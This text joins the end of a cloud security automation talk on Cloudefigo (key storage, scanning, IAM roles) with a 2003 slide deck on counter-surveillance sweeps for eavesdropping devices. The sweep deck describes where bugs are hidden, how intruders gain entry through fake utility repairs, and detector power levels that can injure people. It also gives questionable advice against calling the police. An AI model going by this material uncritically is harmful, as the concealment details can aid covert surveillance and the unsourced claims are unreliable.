Chef  clients  register  to  the  Chef  Management server  using  the  initialization  files  loaded  from  S3. ü Once  the  client  is  registered,  a  policy  is  loaded  and enforced  on  the  instance. CONTROL Chef Registration Encrypt Where  should  you  keep  your  keys? Cloud  Provider On  Premise 3rd Party Protected Snapshots  and backups Snapshots,  backups, subpoena  and malicious  insiders Snapshots,  backups and  cloud  provider’s malicious  insiders Vulnerable Malicious insider attacks and subpoena Key exchange  attacks Key  exchange  attacks and  subpoena (partial) CONTROL Chef Registration Encrypt ü The  volume  to  be  encrypted  using  randomly generated  key. § The  key  is  stored  on  S3  for  later  use. ü The  application  database  to  be  installed  in  the encrypted  volume. Instance  1 Instance  2 Instance  3 Bucket  2f3g Bucket  5dw4 Bucket  8H7g Key  ID  5dw4 Key  ID  8H7g Key  ID  2f3g Key  1#Fd3 Key  vFS3= Key  Bs$a CONTROL Chef Registration Encrypt ü Dynamic  S3  policy:  access  to  key  require  a referrer  header that  is  generated  based  on attributes  from  the  instance. CONTROL Chef Registration Encrypt SCAN Automatic Scan Analyze ü A  vulnerability  scan  to  be  launched  automatically by  CloudInit script. ü The  deeper  the  scan,  the  longer  it  takes  to  move to  production. SCAN Automatic Scan Analyze ü The  results  of  the  scan  are  analyzed  by  the Cloudefigo script. ü Based  on  scan  results  – the  instance  to  move  to production  or  remain  in  the  remediation  group. ü The  lowest  security  risk  severity  can  be  defined. SCAN Automatic Scan Analyze PRODUCTION Least  privileged role Manage ü Reminder:  Permissions  in  launch  >  production ü IAM  role  permissions  reduced  dynamically  -­‐ contains  read  only  access PRODUCTION Least  privileged role Manage ü For  the  ongoing  operations  – a  compensating controls  are  required. ü Cloudefigo management  script  lists  cloud instances  and  validates  they  are  managed  by  Chef ü Cloudefigo will  set  alert  when  someone  will  try  to use  access  keys. PRODUCTION Least  privileged role Manage Setting  a  CloudWatch alarm PRODUCTION Least  privileged role Manage TERMINATE Instance Encryption Keys ü The  life  cycle  ends  once  a  server  is  terminated along  with: § Attached  volumes § IAM  role TERMINATE Instance Encryption Keys ü The  instance  data  still  exist  in  backups/snapshots or  provider  storage ü Encryption  keys  to  be  deleted  with  instance  in order  to  make  sure  the  backup  data  remain inaccessible  (not  implemented  in  this  version) Wrapping  Up The  new  software  architecture  and  applications  delivery  in  cloud module  disrupts  traditional  correctives  controls We  need  to  adopt  new  thinking  to automate  security Think  how  security  automation  can  help  you  in  moving  your infrastructure  forward.  Faster. Questions Moshe  Ferber @: moshe (at)  onlinecloudsec.com w:  www.onlinecloudsec.com in:  www.linkedin.com/in/MosheFerber t:  @FerberMoshe Nir  Valtman @: nir.valtman (at)  ncr.com w:  www.ncr.com  |  www.valtman.org in:  www.linkedin.com/in/valtmanir t:  @ValtmaNir www.cloudefigo.org
pdf
Copyright 2003 Corporate Defense Strategies 1 TSCM The real story behind sweeping for eavesdropping devices ECHNICAL ECURITY OUNTER EASURES Jeffrey S. Prusan Michael D. Glasser Copyright 2003 Corporate Defense Strategies 2 TSCM Outline •Tools used for sweeps •Demo of how phones are tapped •Signs that your offices are “Bugged” •Who gets “Bugged”? •How corporate spies infiltrate your infrastructure •Spy shop “toys” •What to do if you suspect you’ve been bugged •Planning an execution of a successful sweep •How to protect your company in the future against eavesdroppers Copyright 2003 Corporate Defense Strategies 3 TSCM Tools Used for Sweeps Copyright 2003 Corporate Defense Strategies 4 TSCM Tools used for sweeps •Time Domain Reflectometer •NearField Detector •Non-Linear Junction Detector •Spectrum Analyzer •Oscilloscope •Physical Inspection Copyright 2003 Corporate Defense Strategies 5 TSCM Time Domain Reflectometer Copyright 2003 Corporate Defense Strategies 6 TSCM Time Domain Reflectometer Time Domain Reflectometry is the analysis of a conductor (wire, cable, or fiber optic) by sending a pulsed signal into the conductor, and then examining the reflection of that pulse. By examining the polarity, amplitude, frequencies and other electrical signatures of all reflections; tampering or bugs may be precisely located. Any device or wire attached will cause a detectable anomaly, the TSCM technician will then perform a physical inspection at the location of the anomaly. TDR analysis will usually NOT detect capacitively isolated devices or inductive taps. In the case of capacitively isolated device or inductive tap, the TDR sweep is always supplemented by a detailed high frequency cross talk evaluation and a detailed physical inspection. Copyright 2003 Corporate Defense Strategies 7 TSCM Time Domain Reflectometer Signal Generator Pulse injected into cable Echo Received from Pulse (Reflection) The delay between the initial pulse and the reflected pulse indicate the length of the cable (or the location of an anomaly). The delay is divide by the speed of light, and multiplied by the proper velocity of propagation (based on the capacitance of one foot of cable), and then divide the result by two. On a ten mile section of cable a resolution of one tenth of an inch or better is typical (512,000 point TDR). Copyright 2003 Corporate Defense Strategies 8 TSCM NearField Detector Copyright 2003 Corporate Defense Strategies 9 TSCM NearField Detector A NearField Detector is designed to detect low level radio frequency (RF) radiation from transmitters, receivers, computers, etc. One of the two antennas detects towards positive while the other detects towards negative, therefore, if the source of RF energy is away from the two antennas (i.e. 20 feet or more) both antennas receive essentially the same amount of energy and the meter remains at zero. As the ratio of the distance between the RF source and the antennas decreases, one antenna receives more RF than the other and the meter swings on that direction. This effect is known as near field or differential detection. Copyright 2003 Corporate Defense Strategies 10 TSCM NearField Detector 2055HA - NEAR FIELD RF DETECTOR/DIFFERENTIAL RF PROBE (MK IV) This differential antenna detector covers from 10 to over 1,000 MHz and solves many of the problems encountered in very high level signal locations such as metropolitan areas. The level of radio frequency (RF) radiation from computers and other electronic equipment can also be observed with this unit. Supplied with amplifier/indicator assembly, RF head, two antennas, head extension rods and cables, special 2,000 ohm headset and carrying case. Uses two 9-volt batteries and incorporates internal battery test circuits. The 2055HA covers frequencies ranging from lower than 10,000 Hz (10 Khz) to over 1,000 MHz or 1 GHz. The system consists of: amplifier/indicator assembly, RF head assembly, head extension rods, head extension cable, two multi-section antennas, two right angle BNC connectors, special 2,000 ohm headset, carrying case and instructions. Copyright 2003 Corporate Defense Strategies 11 TSCM NearField Detector NEARFIELD DETECTORS TO OPERATE: Insert the RF head assembly into the BNC connector on the top of the amplifier/indicator assembly and position so the two cover screws face the operator. Connect the two antennas with right angle adapters to the RF head and position so they are parallel. If the frequency of interest it above 500 MHz, collapse both antennas fully. For frequencies between 100 and 500 MHz, extend both antennas one section. For frequencies below 100 MHz extend both antennas two sections. Insert the 2K ohm headset supplied into the HEADSET-2K jack. Do NOT use a low impedance headset (it simply won't work). The headset is worn with the gray stethoscope tube under the chin and the sound output holes facing slightly forward (roughly 30 degrees) or with the ear hook. Turn the unit ON and place the TONE/AUDIO switch in the TONE position. Zero the Meter with the ZERO SET control at the top of the unit. press the + BATTERY Test button. The meter will swing to the right and a reading in excess of + .8 indicates satisfactory battery conditions Pressing the - button causes the meter to swing to the left and again, a reading in excess of - .8 indicates a satisfactory battery condition. Pass the antennas over the test areas If a source is located, the Meter will swing in the direction of the source and pass through zero when the source is perpendicular to the two antennas. Since the tone heard through the headset has a pitch proportional to the meter readings it is not necessary to observe the meter while searching for the source. The lowest pitch tone indicator zero and the tone increases in pitch on either side of zero. The RF head can be extended with the extension handles and cable. Plug the cable BNC connector into the BNC jack at the bottom of the RF head. Plug the mini-plug into the jack located to the left of the BNC plug on the amplifier/indicator assembly. Copyright 2003 Corporate Defense Strategies 12 TSCM NearField Detector The 2055HA say also be used as a single antenna RF detector by removing the left antenna and zeroing the unit. The meter will swing only to the right when a source is located If the meter goes beyond full scale to the right, the zero may be suppressed to the left of center as required. The TONE/AUDIO switch causes either a tone proportional to the meter reading (TONE) or demodulated AM audio (AUDIO) to occur at the headset. the DC output of the op-amp is accessible through the RECORDER jack. This output is designed to drive a strip chart recorder. Should either battery become weak (i.e. below .8), replace both batteries by removing the top and bottom screws from the amplifier/ indicator assembly and carefully lifting off the back cover. Alkaline batteries are always preferred. While the back cover is off, note the three screw-driver adjust potentiometers The one in the upper center above the upper integrated circuit is the rough zero. The control to the right (as viewed from the back) of the integrated circuit is the gain control, The control below and slightly to the right of the gain control is the base tone adjustments To re-enter the position of the ZERO SET control, set that control to mid-range and adjust the rough zero control for zero indication on the Deter. To adjust the base tone, zero the meter and set this control for a tone output of roughly 5 to 20 Hz. As with any piece of electronic equipment, remove the batteries during periods of prolonged storage. Copyright 2003 Corporate Defense Strategies 13 TSCM Non-Linear Junction Detector Copyright 2003 Corporate Defense Strategies 14 TSCM Non-Linear Junction Detector Back in the early 70's a method was developed to detect eavesdropping devices though the analysis of harmonic emissions caused by an illuminating signal when it is reflected off of a target. A few years later this method was used by the Super scout NLJD system (which was the first commercially available and patented NLJD). Semiconductors contain multiple layers of silicon, a P-Type and an N-Type, the point where they meet is called a Non Linear Junction. This junction also appears in nature when dissimilar metals come in contact with one another (such as that used in the old crystal radio set). Also, the rust on a screw, the springs in a car, or the support structure in any piece of furniture may also contain non linear junctions (resulting from corrosion). A Non Linear Junction Detector finds potential eavesdropping devices by flooding a suspect area or target with a spectrally pure microwave RF signal (usually around 888 or 915 MHz). Various frequencies are then monitored for a reflected harmonic signal. The instrument typically has an antenna and a control unit. The antenna is mounted on an extendable pole, and really nothing more than a microwave waveguide which both emit and collects the signals (with a duplexer). The control unit is usually a multiple channel, highly sensitive radio receiver tuned to specific second, and third harmonic frequencies. While it is possible to measure the 4th, 5th, 6th, and other harmonics those above the third are only of limited TSCM value. Copyright 2003 Corporate Defense Strategies 15 TSCM Non-Linear Junction Detector Power Level Issues Non Linear Junction Detectors are available in a variety of power outputs ranging from the "civilian" version with an output below 25 mW, to the restricted Government version with a power output over 2 watts ERP. The Soviet and Chinese government actually use NLJD instruments which generate hundreds of watts of power, but often cost the TSCM specialist their vision (and other soft tissue damage) due to high levels of non-ionizing radiation. On an added note a NLJD should not be directed to any human or other living creature due to the potential of serious bodily harm. You can actually knock out a cardiac patients pacemaker from a distance with one, or cause serious soft tissue damage such as cornea injury, loss of hearing, kidney failure, and so on. As the power output increases the greater the range of the unit, and the penetration into solid materials. As the power level increases, the sensitivity of the unit will decrease. Normally a 2 Watt NLJD will detect an eavesdropping device through several inches of concrete, inside a wall, or buried deep inside a couch. The lower power units (50-100 mW) on the other hand will only detect eavesdropping devices inside a book, or devices only an inch or so away from the antenna (such as behind a few layers of sheetrock). Non Linear Junction Detector transmit power is relatively meaningless. The sensitivity and bandwidth of the receiver is a far more important issue. Cheap units use high power to overcome poor receiver sensitivity and poor noise figures. In general the better units (more effective) are the lower powered ones. Much like an X-ray the power level must be variable based on the density of the object being inspected. Of course the more power you generate the more "alerting" your activities become, and the higher the risk of personal injury (just like taking an X-Ray). Generally a 1.5 Watt ERP unit with a variable output (adjustable down to around 5 mW ERP) works well, but if you use Digital Signal Processing or DSP in the unit to increase sensitivity the power levels can be drop to well below a Watt. Copyright 2003 Corporate Defense Strategies 16 TSCM Spectrum Analyzer Copyright 2003 Corporate Defense Strategies 17 TSCM Spectrum Analyzer A good Digital Spectrum Analyzer is the "workhorse" of the TSCM industry. When coupled with a computer, printer, and vector signal analyzer will detect virtually any RF eavesdropping device made (including the ones used by the FBI, NSA, CIA, SVR, CSE, MI5, GCHQ, etc). Copyright 2003 Corporate Defense Strategies 18 TSCM Spectrum Analyzer The Tektronix 494A/P and 497A/P Spectrum Analyzer are the more recent additions to the 490 family. They include better frequency stability, markers, and better programming functions. Typical frequency of the 494A/P is from 10 kHz to 22 GHz, external mixers will increase the range to 40 GHz (or 325 GHz). The 497A/P model has operations similar to the 494 but the frequency coverage is limited to 100 Hz to 7.1 GHz. The 490 series has since been replaced by the FSE series out of Germany. Used instruments are commonly available for around $25,000 for a 494A/P, and $15,000 for the 497A/P. The 494A/P is the only spectrum analyzer in the Tektronix 490 family that ever saw wide spread usage in the TSCM industry. The 494 A/P version was fairly popular with all U.S. government agencies performing TSCM. The units are fairly easy to operate, lightweight, but temperamental when "bumped around". When used with an external demodulator the 494A/P becomes an excellent instrument for TSCM teams who travel heavily and are unable to transport a lab grade instrument. Copyright 2003 Corporate Defense Strategies 19 TSCM Oscilloscopes Copyright 2003 Corporate Defense Strategies 20 TSCM Oscilloscopes All TSCM teams should have at least two Digital Storage Oscilloscopes, one should be a rugged hand held unit, and the other should be a lab grade unit with a 1 GHz bandwidth. Al least one unit should be computer controllable, and should be capable of direct postscript printing or computer control. The units most commonly found in the TSCM industry are the Tektronix TDS784 and the THS720 Digital Oscilloscopes, along with the Fluke 190 series. Both units are fully computer controllable, rugged, and designed to take years of abuse. DocuWave software and a PC should be used to control the scopes and store traces and data. The TDS784 offers 4 channels with a digitizing rate of 1GS/s (1 Billion samples per second) and work well for high resolution TDR work. When used to monitor the wideband output of a search receiver signals identification is made considerably easier. The THS720 Digital Oscilloscope offers 2 channels with a digitizing rate of 500 MS /s (500 Million samples per second). It comes in a small handheld case, and works well in the field, an excellent piece of equipment. Copyright 2003 Corporate Defense Strategies 21 TSCM Physical Inspection Copyright 2003 Corporate Defense Strategies 22 TSCM Physical Inspection Regardless of how much technology you have physical inspection is still a crucial part of any TSCM sweep. It is still necessary to get on your knees and up on the ladder! Copyright 2003 Corporate Defense Strategies 23 TSCM Demo of how phones are tapped Copyright 2003 Corporate Defense Strategies 24 TSCM Signs that your offices are “Bugged” Copyright 2003 Corporate Defense Strategies 25 TSCM Signs that your offices are “Bugged” Others know your confidential business or professional trade secrets. This is the most obvious indicator of covert eavesdropping activities. Theft of confidential information is a multi-billion dollar underground industry in the United States. Often the loss of your secrets will show up in very subtle ways so you should always trust your instincts in this matter. When your competitors know things that are obviously private, or the media finds out about things they should not know, then it is reasonable to suspect technical eavesdropping or bugging. Secret meetings and bids seem to be less than secret. Confidential meetings and bids are very popular targets for corporate spies. How would you like the plans for the corporate takeovers you're planning to become public knowledge? Would copies of your product designs be of any use to your competitors? Would it be beneficial for your competitors to know how much you're quoting for the same project? Copyright 2003 Corporate Defense Strategies 26 TSCM Signs that your offices are “Bugged” You have noticed strange sounds or volume changes on your phone lines. This is commonly caused by an amateur eavesdropper when they attach a wiretap, or activate a similar listening device. Surveillance devices often cause slight anomalies on the telephone line such a volume shift or drop-out. Professional eavesdroppers and their equipment usually do not make such noises; so if this is going on it could indicate that an amateur eavesdropper is listening in. You have noticed static, popping, or scratching on your phone lines. This is caused by the capacitive discharge which occurs when two conductors are connected together (such as a bug or wiretap on a phone line). This is also a sign that an amateur eavesdropper or poorly trained spy is playing with your phone lines. It could be nothing more then a problem with your phone line or instrument, but a TSCM person should evaluate the situation to make sure. Copyright 2003 Corporate Defense Strategies 27 TSCM Signs that your offices are “Bugged” Sounds are coming from your phones handset when it's hung up. This is often caused by a hook switch bypass, which turns the telephone receiver into a eavesdropping microphone (and also a speaker). There is probably somebody listening to everything you say or do within twenty feet of the telephone (if this is happening). Your phone often rings and nobody is there, or a very faint tone, or high pitched squeal/beep is heard for a fraction of a second. This is an indicator of a slave device, or line extender being used on your phone line. This is also a key indicator of a harmonica bug, or infinity transmitter being used. Of course it may also be nothing more then a fax machine or modem calling the wrong number (but a TSCM person should evaluate the situation to make sure). Copyright 2003 Corporate Defense Strategies 28 TSCM Signs that your offices are “Bugged” You can hear a tone on your line when your phone is on the hook (by using an external amplifier). To check for something like this you would have to obtain a "recorder starter" interface (with a VOX option), or some kind of a high gain audio amplifier such as a uAmp or Kaiser 1059. Then with the phone hung-up listen to your telephone wiring. If you hear a faint solid dual tone it is a dead giveaway of someone using a "slave" eavesdropping device on your (or one of your neighbors) telephone lines. Such devices create a "command tone" when the subject hangs up the phone (so you must ensure that all of your phones are hung-up). On an added note: the most common command tones for illicit eavesdropping devices are 2100 Hz and DTMF-C, but any tone combination may be used. Copyright 2003 Corporate Defense Strategies 29 TSCM Signs that your offices are “Bugged” Your AM/FM radio has suddenly developed strange interference. Many amateur and spy shop eavesdropping devices use frequencies within or just outside the FM radio band, these signals tend to drift and will "quiet" an FM radio in the vicinity of the bug. Look for the transmissions at far ends of the FM radio band, and at any quiet area within the FM band. If the radio begins to squeal then slowly move it around the room until the sound become very high pitched. This is referred to as feedback detection or loop detection and will often locate the bug. The "stereo" function should be turned off so the radio is operating in "mono" as this will provide a serious increase in sensitivity. If you find a "squealer" in this manner then immediately contact a TSCM and get them to your location FAST. Copyright 2003 Corporate Defense Strategies 30 TSCM Signs that your offices are “Bugged” You car radio suddenly starts "getting weird" Keep in mind that the antenna your car radio uses may be (and often is) exploited by an eavesdropper, and that such usage may interfere with radio reception (so be concerned if you automobile radio suddenly starts getting weird). Your television has suddenly developed strange interference. Television broadcast frequencies are often used to cloak a eavesdropping signal, but such a devices also tends to interfere with television reception (usually a UHF channel). Televisions also "suck in" a lot of RF energy and because of this are very sensitive to any nearby transmitters (this is technically called "Bandwidth, and TV signals use a lot of it). A small handheld television with a collapsible antenna may be used to sweep a room. Carefully watch for interference around channel numbers 2, 7, 13, 14, 50-60, and 66-68 as these frequencies are very popular with eavesdroppers. Copyright 2003 Corporate Defense Strategies 31 TSCM Signs that your offices are “Bugged” You have been the victim of a burglary, but nothing was taken. Professional eavesdroppers often break into a targets home or office, and very rarely leave direct evidence of the break-in; however, occupants of the premises will often "pickup on something not being right" such as the furniture being moved slightly. Electrical wall plates appear to have been moved slightly or "jarred". One of the most popular locations to hide eavesdropping devices is inside, or behind electrical outlets, switches, smoke alarms, and lighting fixtures. This requires that the wall plates be removed. Look for small amounts of debris located on the floor directly below the electrical outlet. Also, watch for slight variations in the color or appearance of the power outlets and/or light switches as these are often swapped out by an eavesdropper. Also note if any of the screws which hold the wall plate against the wall have been moved from their previous position. Copyright 2003 Corporate Defense Strategies 32 TSCM Signs that your offices are “Bugged” A dime-sized discoloration has suddenly appeared on the wall or ceiling. This is a tell tale sign that a pinhole microphone or small covert video camera has been recently installed. One of your vendors just gave you any type of electronic device such as a desk radio, alarm clock, lamp, small TV, boom box, CD player, and so on. Many of these "gifts" are actually Trojan horses which contain eavesdropping devices. Be very suspicious of any kind of pen, marker, briefcase, calculator, "post-it" dispenser, power adapter, pager, cell phone, cordless phone, clock, radio, lamp, and so on that is given as a gift. That little gift the salesman left for you may be a serious hazard. A small bump or deformation has appeared on the vinyl baseboard near the floor. Strong indicator that someone may have concealed covert wiring or a microphone imbedded into the adhesive which holds the molding to the wall. Such deformation will often appear as a color shift, or lightening of the color. Copyright 2003 Corporate Defense Strategies 33 TSCM Signs that your offices are “Bugged” The smoke detector, clock, lamp, or exit sign in your office or home looks slightly crooked, has a small hole in the surface, or has a quasi reflective surface. These items are very popular concealment for covert eavesdropping devices. Often when these devices are installed at a target location they are rarely installed straight. Also watch out for things like this that "just appear", or when there is a slight change in their appearance. Certain types of items have "just appeared" in your office of home, but nobody seems to know how they got there. Typical items to watch for and beware of are: clocks, exit signs, sprinkler heads, radios, picture frames, and lamps. Copyright 2003 Corporate Defense Strategies 34 TSCM Signs that your offices are “Bugged” White dry-wall dust or debris is noticed on the floor next to the wall. A sign that a pinhole microphone or video camera may have been installed nearby. It will appear as if someone has dropped a small amount of powdered sugar either on the floor, or on the wall. You notice small pieces of ceiling tiles, or "grit" on the floor, or on the surface area of your desk. Prime indicator that a ceiling tile has been moved around, and that someone may have installed a hidden video camera or other eavesdropping device in your office or near your desk. Also watch for cracks or chips in the ceiling tiles. Amateur and poorly trained spies tend to crack or damage acoustical tiles. The ceiling tiles in any executive areas should never contain any cracks, nicks, gouges, or stains. Any ceiling tile that becomes damaged (for what ever reason) should immediately replaced and the cause to the damage documented. In such cases it is also wise to have a TSCM specialist inspect the area around the chipped, broken, or damaged tile to determine if a hostile eavesdropping device may have been introduced. Copyright 2003 Corporate Defense Strategies 35 TSCM Signs that your offices are “Bugged” You notice that "Phone Company" trucks and utilities workers are spending a lot of time near your home or office doing repair work. If you see the same or similar vehicles more then three times then you may have a serious problem (at least according to the U.S. State Department training course on counter surveillance). Telephone, cable, plumbing, or air conditioning repair people show up to do work when no one called them. A very common ruse which eavesdroppers use to get into a facility is to fake a utility outage, and then show up to fix the problem. While they are fixing "the problem" they are also installing eavesdropping devices. Some of the more popular outage involve power, air conditioning, telephone, and even the occasional false fire alarm. Copyright 2003 Corporate Defense Strategies 36 TSCM Signs that your offices are “Bugged” Service or delivery trucks are often parked nearby with nobody (you can see) in them. These vehicles are commonly used as listening posts, be very cautious of any vehicle which has a ladder or pipe rack on the roof. Also, be wary of any vehicle which has tinted windows, or an area which you cannot see though (like a service van). The listening post vehicle could be any vehicle from a small Geo Tracker, Suburban, Blazer, Trooper, or Cargo Van. Look for any vehicle which could conceal a person in the back or has tinted windows. Also, keep in mind that the eavesdropper may relocate the vehicle several times, so look around. Typically, eavesdroppers like to get within 500-750 feet from the place or person they are eavesdropping on. Copyright 2003 Corporate Defense Strategies 37 TSCM Signs that your offices are “Bugged” Your door locks suddenly don't "feel right", they suddenly start to get "sticky", or they completely fail. Prime evidence that the lock has been picked, manipulated, or bypassed. Try to always use biaxial locks with sidebars (such as ASSA or Medeco). Also, only use double sided deadbolts in all doors, and good quality window bars on all windows, and a good quality door bar on all doors not used as a primary entry doors. Furniture has been moved slightly, and no one knows why. A very popular location for the installation of eavesdropping device is either behind, or inside furniture (couch, chair, lamp, etc.) People who live or work in a targeted area tend to notice when furnishings have been moved even a fraction of an inch. Pay close attention to the imprint which furniture makes on rugs, and the position of lamps shades. Also watch the distance between furniture and the wall as eavesdroppers are usually in a hurry and rarely put the furniture back in the right place. Copyright 2003 Corporate Defense Strategies 38 TSCM Signs that your offices are “Bugged” Things "seem" to have been rummaged through, but nothing is missing (at least that you noticed). A "less than professional spy" will often rummage through a targets home for hours, but very rarely will they do it in a neat and orderly fashion. The most common "rummaging" targets are the backs of desk drawers, the bottom of file cabinets, closets, and dresser drawers. Copyright 2003 Corporate Defense Strategies 39 TSCM Who Gets “Bugged”? Copyright 2003 Corporate Defense Strategies 40 TSCM Who Gets “Bugged”? Attorney Doctor Chiropractor Dentist Architect Police Officer Court Clerk Judge Elected to any public office Any type Sales or Marketing Labor or Union Official Fashion Advertising Personnel Directors Mayor Selectman School Principal College Professor Product Engineer Software Developer Executive at any large company Scientist at any large company Employed by any defense contractor Employed by the Department of Energy Any minister or religious leader Corporate Buyer or Purchasing Agent Employee of a Construction Contractor High Threat Occupations Copyright 2003 Corporate Defense Strategies 41 TSCM Who Gets “Bugged”? Involved in any type of litigation or lawsuit Been questioned, arrested or arraigned by the police In the process of getting married, divorced, or separated A minister or religious leader (i.e.: priest, rabbi, deacon, bishop, elder...) Running for any type of elected public office Elected to any public office (i.e.: mayor, selectman, school principal) Executive or scientist at any large company Recently filed a insurance claim Engaging in political demonstrations or activism Employed by a defense contractor, Department of Energy, etc... Private Investigators have been "poking" around You are in the upper income bracket High Threat Personal Situations Copyright 2003 Corporate Defense Strategies 42 TSCM Who Gets “Bugged”? Your company has stock which is publicly traded (or will be soon) Your company is having labor problems, union activities, or negotiations Your company is involved in any type of litigation or lawsuit Your company has layoffs pending (or they have just happened) Your company is involved in the fashion, automotive, advertising, or marketing industry Anyone can be the target of covert eavesdropping, however; some people are under greater risk than others because of financial position, occupation, legal, or domestic situation. Spouses bug each other on a regular basis Parents bug children Businessmen bug other businessmen Scientists bug other scientists Students bug professors Attorneys bug other attorneys (and their clients) Insurance companies bug accident victims, and other claimants Construction companies bug other construction companies Salesmen bug clients Collection agencies bug debtors Police officers bug suspects Executive recruiters bug personnel directors Rock fans bug rock musicians Department stores bug customers and merchandise High Threat Business Situations Copyright 2003 Corporate Defense Strategies 43 TSCM Spy Shop “Toys” Copyright 2003 Corporate Defense Strategies 44 TSCM Spy Shop “Toys” The U.S. State Department estimates that at least 800 million dollars of illegal bugging and eavesdropping equipment is imported and installed into corporations in the United States each year. The majority of this equipment is illegally imported into the United States from France, Germany, Lebanon, Italy, Canada, Israeli, England, Japan, Taiwan, South Africa, and a host of other countries. Additionally, anyone with a soldering iron and a basic understanding of electronics can build and install an eavesdropping device. The raw materials to build such a device may be easily obtained at Radio Shack, or salvaged from consumer electronic devices such as cordless telephones, intercom systems, and televisions. In the United States over six millions dollars worth of surveillance devices are sold to the public each day. Most of these products are sold from storefront operations, spy shops, attorneys, and via private investigators located in major metro areas such as New York, Miami, Los Angles, San Francisco, Dallas, Chicago, and Minneapolis. This does not include the tens of billions spent each year for legitimate eavesdropping products purchased by law enforcement, military, and intelligence agencies. This equipment is commonly sold over the counter, via mail order, and through the Internet. Most of these bugging devices cost only a few dollars, but highly sophisticated, quality products may be purchased for less than one thousand dollars. In New York City alone there are over 85 companies which will not only sell you the eavesdropping device, but will break into the targets office to install the device, and for an additional fee will provide a monitoring and transcription service. Copyright 2003 Corporate Defense Strategies 45 TSCM Spy Shop “Toys” The FBI and other federal law enforcement agencies have repeatedly indicated that they lack the resources and training to enforce or properly investigate the technical security threat within the United States. Technical surveillance and industrial espionage is a serious problem which can have a VERY GRAVE IMPACT on your company and your own personal freedoms. Copyright 2003 Corporate Defense Strategies 46 TSCM What to do if you suspect you’ve been “bugged” Copyright 2003 Corporate Defense Strategies 47 TSCM What to do if you suspect you’ve been “bugged” 1. Contact a qualified TSCM firm. (Corporate attorneys are a good resource for this type of information) 2. Make contact from a place other then the suspect location. 3. Do NOT call the telephone company for help. 4. Do NOT call the police of the FBI for help. 5. Do NOT discuss your suspicions with anyone else, except on a need to know basis. Copyright 2003 Corporate Defense Strategies 48 TSCM Planning and execution of a proper sweep Copyright 2003 Corporate Defense Strategies 49 TSCM Planning and execution of a proper sweep 1. Client Initiates Secure Contact Client reviews Granite Island Group's web site and related TSCM materials Contact is made away from suspect facility (pay phone at airport, etc...) Contact is not made via a suspect telephone, cordless, or cellular telephone Initial arrangements for secure face-to-face meeting (if requested) Materials sent to Granite Island Group regarding suspect facility 2. Initial Meeting and Commissioning Initial and secure face-to-face meeting (if requested) Initial meeting at sterile location away from any suspect facility Discussion regarding clients concerns, and vulnerabilities Commissioning of TSCM services, if appropriate Formulate plan in case an eavesdropping device or security hazard is found Copyright 2003 Corporate Defense Strategies 50 TSCM Planning and execution of a proper sweep 3. Pre-Inspection Survey, Research, and Facility Reconnaissance Review of facility blueprints External RF survey (9 kHz to 26.5/40 GHz) Facility exterior reconnaissance 4. Vulnerability Analysis Threat assessment Physical security assessment Electronic security assessment Internal RF survey Audit of communications systems and facilities Inventory of furnishings, fixtures, and artifacts Evaluation of structural elements (walls, ceilings, floors) Sketch of suspect area and facilities Identification of sensitive areas Development of threat model Performed during normal office hours (with appropriate cover) Copyright 2003 Corporate Defense Strategies 51 TSCM Planning and execution of a proper sweep 5. Silent/Passive Walk-Thru No noise, non alerting activities only, nothing to alert the eavesdropper Automated bug and wireless microphone detection (9 kHz to 3 GHz) Initial VLF inspection of all AC, telecom, LAN, and HVAC wiring Initial detection of infrared devices and laser surveillance devices Video camera, tape recorder, VLF, and ultrasonic detection Overt threat detection Initial evaluation of physical security, locks, alarms, etc... Most PI, spy shop, and amateur bugs will be detected during this phase Very popular as it only takes 4 hours for a brief "Walk Though Inspection" TSCM services above this level starts radically increasing in cost 6. Passive Inspection - RF and Light Spectrum Monitoring No noise and non alerting activities only, nothing to alert the eavesdropper Music softly playing, "client on phone", drapes pulled Full passive RF spectrum sweep (20 Hz to above 110 GHz) Full passive light spectrum sweep (300nm to 1710nm / 83 THz to 450 THz) Most PI, spy shop, and advanced amateur bugs will be detected during this phase Copyright 2003 Corporate Defense Strategies 52 TSCM Planning and execution of a proper sweep 7. Active Inspection - Non Alerting Minor Noise is created, however; it should not alert the eavesdropper VLF/RF check - AC mains (all electrical outlets) VLF/RF check - AC mains (all light switches/fixtures) VLF/RF check - HVAC controls VLF/RF check - Alarm and access control sensors VLF/RF check - Fire and safety sensors/alarms VLF/RF check - Other All phone lines evaluated and traced back to central office All artifacts documented, recorded, and inspected Oblique lighting inspection of all walls and artifacts Initial inspection of baseboards, windows frames, and door jambs Initial inspection of all wall plates (electrical, PBX, LAN) UV lighting sweep (below 400nm / 100THz) IR lighting sweep (above 700nm / 180THz) Visible spectrum light sweep (350nm to 750nm / 90THz to 195THz) Tuned forensic light source and filter sweep (250nm to 1750nm / 65THz to 455THz) Check for telephone set modifications/problems Check for PBX software and hardware anomalies Check for voice mail modifications/problems Inspection of all computer and LAN connections Inspection of all laser printers and computer output devices Law enforcement and professional bugs will be detected during this phase Typical threat level for most corporate offices Copyright 2003 Corporate Defense Strategies 53 TSCM Planning and execution of a proper sweep 8. Active Scan - Alerting Chirp detection of hidden microphones and other transducers IR, audio, and ultrasonic jamming (as required) Render the eavesdropping device temporarily inoperative Inspection of all furnishings (desks, chairs, plants, etc) Open ceilings and walls (move ceiling tiles and panels) Thermal inspection HVAC and duct work inspection Acoustical leakage inspection Bore scope inspection of all electrical wall plates and boxes Detailed inspection of all lighting fixtures Inventory of all conductors, conduits, wall studs, etc... Detailed electromagnetic energy search (above 110 GHz) Professional eavesdropping devices will be detected during this phase Typical threat level for a Fortune 500 corporate offices and law firms Copyright 2003 Corporate Defense Strategies 54 TSCM Planning and execution of a proper sweep 9. Active Scan - Alerting/Evaluation Verify and TDR/FEXT/NEXT trace all conductors TDR trace - Telephone System Wiring TDR trace - Computer Network Wiring TDR trace - Cable Television and CCTV TDR trace - AC mains (all electrical wiring) TDR trace - AC mains (all light switches/fixtures) TDR trace - HVAC controls TDR trace - Alarm and access control sensors TDR trace - Fire and safety sensors/alarms TDR trace - Other PBX, ESS, and SN translation evaluated (as available) Voice mail system evaluation Xerox machine inspection Fax machine inspection Verify security of PBX, alarm, HVAC, audio systems Evaluate all artifacts (i.e.: furniture, books, computers, etc...) Wall, floor, and ceiling cavity inspections Intense physical inspection (every cubic centimeter) Diplomatic, law enforcement, and intelligence devices detected at this phase Typical threat level for attorneys, defense contractors, and aerospace firms Copyright 2003 Corporate Defense Strategies 55 TSCM Planning and execution of a proper sweep 10. Special Inspection Activities (used only as needed) Non Linear Junction Detector (NLJD) inspection - active and passive X-ray, radiographic, and fluoroscope inspection Magnetic anomaly inspection 11. Preventive Actions (available only by special request) 